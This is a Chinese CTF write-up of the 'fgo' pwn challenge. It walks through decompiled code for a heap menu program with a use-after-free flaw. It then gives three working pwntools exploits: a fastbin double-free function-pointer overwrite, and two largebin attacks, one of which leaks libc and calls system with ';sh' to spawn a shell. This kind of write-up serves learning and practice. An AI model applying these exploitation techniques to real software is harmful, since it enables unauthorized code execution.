wangding-2rd-fgo-writeup

作者: 分类: pwn 时间: 2018-09-11 浏览: 267 评论: 暂无评论

use after free

在free的时候没有把指针置 NULL,导致可以再次free,从而出现一些问题

checksec

checksec.png

main

程序逻辑如下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v3 = atoi(&buf);
      if ( v3 != 2 )
        break;
      del_servant();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_servant();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_servant();
    }
  }
}

堆类型题目的常见出题形式。首先有个菜单

  1. Add servant
  2. Delete servant
  3. Print servant
  4. Exit
    菜单的项分别对应堆的分配、释放、打印,有的还会有修改功能。
    看到add_servant函数
unsigned int add_servant()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !servantlist[i] )
      {
        servantlist[i] = malloc(8u);
        if ( !servantlist[i] )
        {
          puts("Error");
          exit(-1);
        }
        *(_DWORD *)servantlist[i] = print_servant_content;
        puts("the size of servant's name : ");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = servantlist[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)servantlist[i] + 1) )
        {
          puts("Error");
          exit(-1);
        }
        puts("ability : ");
        read(0, *((void **)servantlist[i] + 1), size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }

读取size,然后分配相应的size大小,会设置一个print_servant_content函数,并且只能分配5次。
print_servant_content函数

int __cdecl print_servant_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

print_servant函数

unsigned int print_servant()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    exit(0);
  }
  if ( servantlist[v1] )
    (*(void (__cdecl **)(void *))servantlist[v1])(servantlist[v1]);

print函数就是调用servantlist[v1]指向的函数。

del_servant函数

unsigned int del_servant()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  puts("Index : ");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound");
    exit(0);
  }
  if ( servantlist[v1] )
  {
    free(*((void **)servantlist[v1] + 1));
    free(servantlist[v1]);
    puts("Success ");
  }
  return __readgsdword(0x14u) ^ v3;
}

只是一个简单的free,不过这里在free之后,没有把指针置NULL,导致可以use after free

由于是菜单类题目,常规套路是写一个模拟的功能。

from pwn import *
import os

context.log_level = 'debug'

p = process("./pwn")

def add(size,content):
    p.recvuntil("choice:\n")
    p.send("1")
    p.recvuntil("servant's name : ")
    p.send(str(size))
    p.recvuntil("ability : ")
    p.send(content)

def print_note(index):
    p.recvuntil("choice:\n")
    p.send("3")
    p.recvuntil("Index :")
    p.send(str(index))

def del_note(index):
    p.recvuntil("choice:\n")
    p.send("2")
    p.recvuntil("Index : ")
    p.send(str(index))

当需要哪个功能的时候,用对应的函数即可。

exp1-fastbin

这个题目的最简单的解法,是用fastbin attack直接修改servantlist[i] 将其执行一个secret函数
这是一个这个程序内置的函数,会执行一个shell

add(8,"C"*4) #
del_note(0)  #0->1
del_note(0)  #0->1->0->1
add(20,"4444") #1->0->1
add(8,p32(0x08048956))  
#gdb.attach(p)
print_note(0)
p.interactive()

第5行add的时候,先分配一个1给servantlist[2]然后分配0给内容,而内容正好是chunk0的servantlist[0]指向的地址
所以此时print_note0就会调用secret函数

exp2-largebin

另外一种解法是才用largebin分配时,会清空所有的bin(在没有free的large bin的情况下)

add(256,"B"*20) #0
add(256,"D"*40) #1
del_note(1)
del_note(0)
#gdb.attach(p)
#0x9e89110: 0x00000000  0x00000000  0x00000108  0x00000011
#0x9e89120: 0x00000000  0x09e89130  0x00000000  0x00020ed9
#0x9e89130: 0x44444444  0x44444444  0x44444444  0x44444444
add(512,"A"*0x100+p32(0x108)+p32(0x11)+p32(0x08048956)) #2
print_note(1)
p.interactive()

在chunk2分配前,会清空chunk0,1的bins,所以需要去伪造出原来的样子。然后在对应的servantlist[1]指向的地方填上secret函数的地址。

exp3-largebin

其实这个题目还可以再难一点,去掉secret函数,加上地址随机化。

add(256,"B"*20) #0
add(256,"4"*20) #1
del_note(1)
del_note(0)

add(256,"A"*4)   #2
print_note(2)    #
p.recvuntil("A"*4)
system_addr = u32(p.recv(4))-(0xb776a450-0xb75bd000)+0x040310   #main_arena+48   
del_note(0)
#0xb760d310
#0x9e89110: 0x00000000  0x00000000  0x00000108  0x00000011
#0x9e89120: 0x00000000  0x09e89130  0x00000000  0x00020ed9
#0x9e89130: 0x44444444  0x44444444  0x44444444  0x44444444
#gdb.attach(p)
add(512,"A"*0x100+p32(0x108)+p32(0x11)+p32(system_addr)+";sh\x00") #
print_note(1)
p.interactive()

原理是一样的,不过首先需要用unsort bin leak出libc的基地址。
然后用同样的办法,伪造出system_addr函数。这里调用的参数是自己
(*(void (__cdecl **)(void *))servantlist[v1])(servantlist[v1]);
这样的话system的地址的shell命令肯定不存在,于是我们采用多语句的方式,用分号分隔,另起一个语句,\x00代表结束,即可getshell

标签: none

订阅本站(RSS)

添加新评论